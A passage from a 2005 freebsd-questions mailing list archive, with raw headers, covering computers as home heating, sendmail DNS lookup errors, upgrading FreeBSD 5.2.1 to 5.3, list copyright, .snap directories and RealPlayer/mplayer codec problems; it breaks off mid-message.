Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:35:29 -0000 --17pEHd4RhPHOinZp Content-Type: text/plain; charset=unknown-8bit Content-Disposition: inline Content-Transfer-Encoding: quoted-printable > * Erik Trulsson [2005-02-05 23:55 +0100] > > Also keep in mind that if you leave the computer running all the time > > it will show up on your electricity bill, so if you wish to save power > > you should shut down your computer over night. >=20 > Given that your house needs to be warmed up (a presumption I think is=20 > correct for Sweden as you appears to be sending from; it sure does for=20 > Norway, I don't know about the OP), it does not matter where that heat=20 > comes from. If your other heating is termostatically controlled, then=20 > running your computer all night long uses no less electricity than leavin= g=20 > your heating on. Eventually, all those kWhs ends up as heat. You might=20 > just as well use it for something usefull in the way from electric to=20 > thermic energy, and not just send your electrons through an electric=20 > resistance for nothing (except heat-generation)! >=20 Actually, I've found that five machines, each with two disks, onboard graphics and sound, an average 700mhz P3 with a 250w power supply haven't really made a dent on my electricity bill. In the summer of last year, however, I bought an air conditioner and this added =A340 (roughly $75) to my bill. I see I'm not the only one that thought of using the servers AS the heating!=20 Mark --=20 PGP: http://www.darklogik.org/pub/pgp/pgp.txt B776 43DC 8A5D EAF9 2126 9A67 A7DA 390F DEFF 9DD1 --17pEHd4RhPHOinZp Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iQIVAwUBQgcoE6faOQ/e/53RAQKNfBAAsiBrzb1hjqhTplaxSgZOwLdgyVSBXRV2 hQI/Mb/uyJRAeME1WodyTJ+9ZSDXeQu5m6k5E8/uz8/nIexcdTb4X6LDoUMv4UtG 7/9iQbBn90AiUL5ygJMaq4W2BH4gFtXoLUA0DozfJk/zWThQkyVtXc6ojbQIsErz +E29hPIE90gTdedi1TE6KO4VsJdza8uZsH43VejknOC4UAwMMF1h16c0JaISFiYS uvQv/Mnlgrg9iE+Ni7YNLeWPod9jTVQwBL2/BGE2Wyl7mTSCUhzkTq042bOhLa6x p3h/2O6DljtpXY6neBn9d0TOMUItM8ci3KgTM33Umcqhdk4bbZeLu5OTte0a9IIp MeUq+Tp8OCzSTjBLaWLXSRr1sA/gTdNtLobnECEO6mVxMhKPLxjBPQug5FoJkWYj fb9mryAuNug3T8H7AyHBTh7+31gvkoybk+c2XBulRJBffLYA91f9MAIva1DWj9Y3 gff1Bz4meFJQn2uAZznaJ7qRVhYx9e717BeEXiuOwiBcyVrjsrOHqnnAbhnIizGk ZaqA/gEquvF7yswthK/Thoex/VNjnUrGhI7J7ircL6lYFhc2r8vOWdn1u8TaVE4e izGvcc4U1rlEJ4nS/QEQBA2Lmus3A1Chzl5bH9J1NFX7d5tYNrmkmSGcdnOZgH8V wklBoZGEzVA= =scCv -----END PGP SIGNATURE----- --17pEHd4RhPHOinZp-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:57:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 02F4816A4CE for ; Mon, 7 Feb 2005 08:57:54 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5282B43D46 for ; Mon, 7 Feb 2005 08:57:53 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j178vpj03373; Mon, 7 Feb 2005 00:57:51 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Hexren" Date: Mon, 7 Feb 2005 00:57:50 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <6843020820.20050206234839@hexren.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: freebsd-questions@freebsd.org Subject: RE: Re[2]: Sendmail host lookup problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:57:54 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren > Sent: Sunday, February 06, 2005 2:49 PM > To: Ted Mittelstaedt > Cc: freebsd-questions@freebsd.org > Subject: Re[2]: Sendmail host lookup problem > > > > > >> -----Original Message----- > >> From: owner-freebsd-questions@freebsd.org > >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren > >> Sent: Sunday, February 06, 2005 1:46 PM > >> To: freebsd-questions@freebsd.org > >> Subject: Sendmail host lookup problem > >> > >> > >> I have a LAN in the 192.168.0 range. I am trying to send mail from > >> 192.168.0.78 (gc-infra.steenbuck.net) to 192.168.0.29 > >> (bettchen.steenbuck.net). > >> This leeds to 550 errors. "Host unknown (Name server: > >> bettchen.steenbuck.net: host not found)" > >> > >> 192.168.0.29 is also acting as my DNS Server. Both machines > >> have correct (or so I hope) entries in the nameserver. > > TM> Either you don't have correct entries in the nameserver, or your > TM> /etc/resolv.conf on gc-infra is not using 192.168.0.29 as it's > TM> nameserver. > > TM> What is the output of nslookup on gc-infra when you key in > TM> the bettchen.steenbuck.net name? What is it when you issue > TM> a "set type=mx" at the nslookup prompt followed by the > TM> bettchen.steenbuck.net name? What is it when you key in the > TM> IP number 192.168.0.29? > > TM> Ted > TM> _______________________________________________ > TM> freebsd-questions@freebsd.org mailing list > TM> http://lists.freebsd.org/mailman/listinfo/freebsd-questions > TM> To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > > --------------------------------------------- > > [gc-infra:~]#nslookup bettchen.steenbuck.net > Server: 192.168.0.29 > Address: 192.168.0.29#53 > This is a problem, the output should read: Server: bettchen.steenbuck.net Address: 192.168.0.29 Name: bettchen.steenbuck.net Address: 192.168.0.29 > Name: bettchen.steenbuck.net > Address: 192.168.0.29 > > ----------------- > [gc-infra:~]#nslookup > > set type=mx > > bettchen.steenbuck.net > Server: 192.168.0.29 > Address: 192.168.0.29#53 > > bettchen.steenbuck.net mail exchanger = 10 bettchen.steenbuck.net. > Here's another possible problem, the output should read: bettchen.steenbuck.net preference=10, mail exchanger = 10 bettchen.steenbuck.net (followed by some glue data) > ----------------- > > [gc-infra:~]#nslookup 192.168.0.29 > Server: 192.168.0.29 > Address: 192.168.0.29#53 > > 29.0.168.192.in-addr.arpa name = > bettchen.steenbuck.net.0.168.192.in-addr.arpa. > name should be bettchen.steenbuck.net, not bettchen.steenbuck.net.0.168.192.in-addr.arpa. Post your zone files in bettchen as well as named.conf Ted From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 08:58:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 14E4716A4CE for ; Mon, 7 Feb 2005 08:58:45 +0000 (GMT) Received: from nuumen.pair.com (nuumen.pair.com [209.68.1.119]) by mx1.FreeBSD.org (Postfix) with SMTP id 7159843D41 for ; Mon, 7 Feb 2005 08:58:44 +0000 (GMT) (envelope-from thuppi@nuumen.pair.com) Received: (qmail 75059 invoked by uid 55300); 7 Feb 2005 08:58:44 -0000 Date: Mon, 7 Feb 2005 03:58:44 -0500 (EST) From: Tom Huppi X-X-Sender: thuppi@nuumen.pair.com To: Florian Hengstberger In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII cc: FreeBSD mailinglist Subject: Re: Traffic upgrade 5.2.1 to 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 08:58:45 -0000 On Mon, 7 Feb 2005, Florian Hengstberger wrote: > Hi! > > I want to upgrade my box from 5.2.1 to 5.3 stable. > I have limited download, so, if I update the sources using cvsup > in order to make buildworld ..., is there a way to roughly estimated > the traffic. > Case it's impossible, what's the typical order? A few MB, a few dozen > MB or more? I've recently used this technique to update several boxes from 5.1-ish to 5.3 with good results. I'm behind a 24k modem connection, and I don't recall the cvsup taking more than an hour when I did it right. Note that you will want to make sure that you have not just /usr/src/sys, but also thing like /usr/src/usr.bin, /usr/src/gnu, etc. From the original iso install, my system contained only the former and I had to download more than I should have (via cvsup.) I believe the rest to be on the original distribution iso image, but in my case I just let the download proceed. I had built custom kernels so I thought my /usr/src was complete, but it turns out that you need a lot more to 'buildworld' (duh!) and I only realized this when I started the cvsup (since it slipped by me in reading the handbook.) You should be able to tar up your original /usr/src and start a cvsup and see if you like how it's preceeding (if you have disk space.) I've played all kinds of games taking such tarballs from one machine to another on cdrom, and have had no problems. > Another thing is that there seem to be problems with the avr-tools > my current work depends on. Is it somehow possible to keep this package > as it is while upgrading. > What about upgrading the kernel only? A 'buildworld' will upgrade more than the 'kernel only' (system compiler, system utilities, etc), but will _not_ upgrade things from the ports collection. Nor will a cvsup of 'src-all' update your ports skeleton. iirc, a cvsup of 'ports-all' tends to take longer than one of 'src-all' (when done logically as per my above notes) but it's certainly dependant on the history of what you start out with. I did not notice any of my applications from pre-buildworld not working after the upgrade, but I pretty much set to the task of rebuilding a lot of them right way (after a separate upgrade of my ports tree) so I didn't put much time into testing this. You would want to read /usr/src/UPDATING to try to spot any potential gotcha's that you might tip you over with respect to running earlier software that might be important to you. BTW, you probably know this, but there are a few things to read up on and think about (i.e., mergemaster -p, mergemaster, backups, etc.) Again, I had great luck with the procedures, but it did take some thinking about and some time, and a few mis-steps. I'd mainly re-installed from scratch as a means of upgrading prior to this. I hope this helps. Hopefully someone took better notes of the size questions you have. Thanks, - Tom From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 09:10:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E73D16A4CE for ; Mon, 7 Feb 2005 09:10:24 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9E6A643D46 for ; Mon, 7 Feb 2005 09:10:23 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j179AMj03415; Mon, 7 Feb 2005 01:10:23 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Joshua Tinnin" , Date: Mon, 7 Feb 2005 01:10:20 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <200502061420.24415.krinklyfig@spymac.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Importance: Normal cc: Anthony Atkielski Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 09:10:24 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Joshua Tinnin > Sent: Sunday, February 06, 2005 2:20 PM > To: freebsd-questions@freebsd.org > Cc: Anthony Atkielski > Subject: Re: favor > > > How do you suggest this list and all others like it deal with > this matter, in > practical terms? Don't suggest hiring lawyers, as that's > hardly practical. Clearly I think Anthony is saying in his posts to me that the list managers should e-mail legal boilerplate to every subscriber that they would then agree to, which would basically state that the poster waives their copyrights if they post. The problem I see is that doing this creates a contract, which is one of the issues we are disagreeing on. It also changes the signups on the list to that of an access-controlled forum which means that the owners of the forum are exercising editorial control, meaning they are republishing posts to the list, which means they have to obtain rights to do this from each poster when that poster posts. He is saying that since the act of signing up for the list creates a contract between the list owners and the poster, the list owner should issue a contract to the signupee that outlines their (lack of) rights if they post. I disagree that the act of signing up for the list creates a contract, since the list is publically available without signup, and espically since the list can be posted to by the general public without signup. Ted From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 09:52:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 78E7D16A4CE for ; Mon, 7 Feb 2005 09:52:35 +0000 (GMT) Received: from fri.itea.ntnu.no (fri.itea.ntnu.no [129.241.7.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id D90FC43D2F for ; Mon, 7 Feb 2005 09:52:34 +0000 (GMT) (envelope-from svein-freebsd-questions@theloosingend.net) Received: from localhost (localhost [127.0.0.1]) by fri.itea.ntnu.no (Postfix) with ESMTP id E79367F3E for ; Mon, 7 Feb 2005 10:52:33 +0100 (CET) Received: from maren.thelosingend.net (m190d.studby.ntnu.no [129.241.131.190]) by fri.itea.ntnu.no (Postfix) with SMTP for ; Mon, 7 Feb 2005 10:52:29 +0100 (CET) Received: (qmail 89857 invoked by uid 1001); 7 Feb 2005 09:52:28 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 7 Feb 2005 09:52:28 -0000 Date: Mon, 7 Feb 2005 10:52:28 +0100 (CET) From: Svein Halvor Halvorsen X-X-Sender: sveinhal@maren.thelosingend.net To: Gert Cuykens In-Reply-To: Message-ID: <20050207104828.N88241@maren.thelosingend.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 09:52:35 -0000 * Gert Cuykens [2005-02-07 00:32 +0100] > What are .snap directories ? Take a look at these references: - mksnap_ffs(8) - dump(8) [under the -L option] - mount(8) [under the -o snapshot option] - /usr/src/sys/ufs/ffs/README.snapshot Svein Halvor From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 11:06:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E8B1816A4CE for ; Mon, 7 Feb 2005 11:06:15 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD13943D39 for ; Mon, 7 Feb 2005 11:06:13 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id z35so701308rne for ; Mon, 07 Feb 2005 03:06:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=WnXlRVT4RNqJ+L6t+L8hEkpi2ipIEPYM0pAN028Fw2y31FcW+PvmwldiWEUKJcqR6C2NgP2uWDEzOBQxk4AnDJaKiUFBnE8zB0NDQi+XH5UCNrxp7AkvL9dDWfvMzlR8j7ZEDCAHC/WSA+K2IQAlNxmK/woTqPGmpUIe7dhhbkM= Received: by 10.39.3.39 with SMTP id f39mr122293rni; Mon, 07 Feb 2005 03:06:13 -0800 (PST) Received: by 10.38.101.19 with HTTP; Mon, 7 Feb 2005 03:06:13 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 05:06:13 -0600 From: Eric Kjeldergaard To: freebsd-questions@freebsd.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <200502061420.24415.krinklyfig@spymac.com> cc: atkielski.anthony@wanadoo.fr Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 11:06:16 -0000 After having read this thread (yes, every line of it...) I'm really quite interested in it. Unfortunately, an analogy dropped off perhaps below Se=F1or Atkielski's radar so I thought I would recreate it and hear his (and of course everyone else's) opinion(s) on it. Let us make an analogue betwixt our Valerie and one who submits to the local newspaper. There is a roughly equal level of consent given in both cases, and the mailing list (newspaper company) is understood to be able to reproduce this to all subscribers. Further, the mail (newspaper) is archived in both cases by the mailing list authority (newspaper company) and third parties (mirrors of mailing lists, other mailing list archives, libraries, etc.) all of which are generally available for viewing by the public. So this request would be likened unto our Valerie writing to the newspaper company and asking that any and all copies of the paper which her submission was quoted in be burnt/destroyed/what have you.=20 The newspaper company certainly has legal right to destroy their archived copies and may choose to do so, though I doubt the newspaper agency is legally bound to do that. Would this not be a reasonable analogy (if we throw out the fact that the newspaper companies are generally capitalist entities since it has little bearing here)? Certainly the newspaper didn't require a contract to be signed by its submitters before distributing publicly their submissions. I don't see that a mailing list would need such a thing. The submissions are given under the understanding that they shall be publicly available both to subscribers and non subscribers in their favourite restaurants and libraries. --=20 If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 11:42:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9E23A16A4CE for ; Mon, 7 Feb 2005 11:42:08 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8C79D43D46 for ; Mon, 7 Feb 2005 11:42:07 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j17Bg6Gf029818 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Feb 2005 03:42:07 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j17Bg5Cc029816; Mon, 7 Feb 2005 03:42:05 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Mon, 7 Feb 2005 03:42:05 -0800 From: "Loren M. Lang" To: Danny Pansters Message-ID: <20050207114205.GB8619@alzatex.com> References: <20050205015010.87497.qmail@web54003.mail.yahoo.com> <200502070159.40247.danny@ricin.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200502070159.40247.danny@ricin.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: Rob cc: freebsd-questions@freebsd.org Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 11:42:08 -0000 On Mon, Feb 07, 2005 at 01:59:39AM +0100, Danny Pansters wrote: > On Saturday 5 February 2005 02:50, Rob wrote: > > Jacob S wrote: > > > I like mplayer for cli stuff and xine for gui. > > > Mainly because the cli stuff I do is downloading and > > > converting streams from wma/rm to wav/ogg/mp3, etc. > > > and I use the gui for watching videos and such. > > > > How do you convert realmedia to other formats with > > mplayer? > > Or maybe first: how do you play realmedia streams > > with mplayer? > > > > I have installed: > > mplayer-gtk2-0.99.5_6 > > linux-realplayer-10.0.2_1 > > win32-codecs-2.1.0.p5,1 > > > > I can't play realplay streams with mplayer. > > When I do: > > mplayer -vo x11 "rtsp://some.site.com/movie.rm" > > > > I get lots of output in my terminal, among wich I > > see: > > > > Opening video decoder: [realvid] RealVideo decoder > > opening shared obj > > '/usr/local/lib/win32/drv4.so.6.0' > > Error: Shared object "libc.so.6" not found, required > > by "drv4.so.6.0" opening win32 dll 'drv4.so.6.0' > > > > But libc.so.6 is in /usr/compat/linux/lib. Hmm, why > > is that not found? I then did > > ldconfig -m /usr/compat/linux/lib > > > > That helped. I started mplayer again, but then > > mplayer crashed, as follows: > > > > [...snip...] > > ================================================== > > Opening audio decoder: [realaud] RealAudio decoder > > opening shared obj '/usr/local/lib/win32/cook.so.6.0' > > > > MPlayer interrupted by signal 10 in module: > > init_audio_codec > > - MPlayer crashed. This shouldn't happen. > > It can be a bug in the MPlayer code _or_ in your > > drivers _or_ in your > > gcc version. If you think it's MPlayer's fault, > > please read > > DOCS/HTML/en/bugreports.html and follow the > > instructions there. We can't and > > won't help unless you provide this information when > > reporting a possible bug. > > > > ================================================== > > > > Any idea why I've got such problems with mplayer > > and real video streams? > > I never gotten it to work either, a few of the codecs do -- I think the win32 > only ones, but not the Unix ones from linux-realplayer. I'm sure mplayer/xine > being natively compiled while the real codecs are mostly linux libraries via > compat must be the problem. > > If someone wants to fix this, do look at what NetBSD does. They have a > seperate real codecs package for it, I'm not sure what they do but their > mplayer/xine do work with the rv1 to 4 codecs, and no errors about cook and > all. I've had problems getting mplayer and xine to work with real codecs on linux, some error with cook.dll or something. I think it will only work with rp8 or rp9 codecs, but even though didn't work when I was running in linux. I finally gave up and installed realplayer 10 which works good in both linux and freebsd. > > Dan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 11:46:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B0FB616A4CE for ; Mon, 7 Feb 2005 11:46:20 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id 440A843D54 for ; Mon, 7 Feb 2005 11:46:20 +0000 (GMT) (envelope-from kjelderg@gmail.com) Received: by rproxy.gmail.com with SMTP id a36so674131rnf for ; Mon, 07 Feb 2005 03:46:16 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=JlPRITW7mGeTBju9asdGAgzodGEbgOPMRuxGoh8bStZ3xdzv93mh6xg9SrXVECwcyIr+TK7cvwwWdGwne2tmv+4ACv9ZU7TJe40GEch9BXgoHLZARKOw/axG+/k/Te2dGTfKXZb+qeBTuoWL9wgC2RjUioM32KtMLGM/VC3NRgY= Received: by 10.38.15.5 with SMTP id 5mr12894rno; Mon, 07 Feb 2005 03:46:16 -0800 (PST) Received: by 10.38.101.19 with HTTP; Mon, 7 Feb 2005 03:46:16 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 05:46:16 -0600 From: Eric Kjeldergaard To: Incoming Mail List In-Reply-To: <200502060855.j168tdfJ086118@whoweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502060855.j168tdfJ086118@whoweb.com> cc: freebsd-questions@freebsd.org Subject: Re: smbfs problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Eric Kjeldergaard List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 11:46:20 -0000 > I don't have X on the FBSD machine so I was not able to test viewing > the JPEG images locally on the FBSD side. As kind of an aside, cat can tell you quite adequately if you can view the contents of the file. -- If I write a signature, my emails will appear more personalised. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 11:47:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEF1D16A4D0 for ; Mon, 7 Feb 2005 11:47:44 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id E319C43D41 for ; Mon, 7 Feb 2005 11:47:42 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j17BlgGf029948 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Feb 2005 03:47:42 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j17BlfFe029946; Mon, 7 Feb 2005 03:47:41 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Mon, 7 Feb 2005 03:47:41 -0800 From: "Loren M. Lang" To: Brian John Message-ID: <20050207114741.GC8619@alzatex.com> References: <4205CA2F.9080107@fusemail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4205CA2F.9080107@fusemail.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 11:47:45 -0000 On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: > Hello, whenever I try to run realplayer I get the following: > $ realplay > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > Failed to load pixbuf file: > /usr/local/lib/RealPlayer/share/realplay/icon.png: Couldn't recognize > the image file format for file > '/usr/local/lib/RealPlayer/share/realplay/icon.png' Install graphics/linux-gdk-pixbuf from ports. > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/pause.png' > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's code. You must ensure an error is NULL > before it's set. > The overwriting error message was: Couldn't recognize the image file > format for file '/usr/local/lib/RealPlayer/share/default/volume_mute.png' > > (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > > (realplay.bin:94093): GLib-WARNING **: GError set over the top of a > previous GError or uninitialized memory. > This indicates a bug in someone's 